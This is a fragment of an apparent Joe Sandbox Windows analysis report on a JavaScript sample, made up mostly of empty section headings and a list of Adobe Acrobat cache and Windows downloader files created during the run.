Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\6efffbec-d491-43ed-b6e2-cbf995b2414f.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7728

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7728

Windows Analysis Report
959032706323392160.js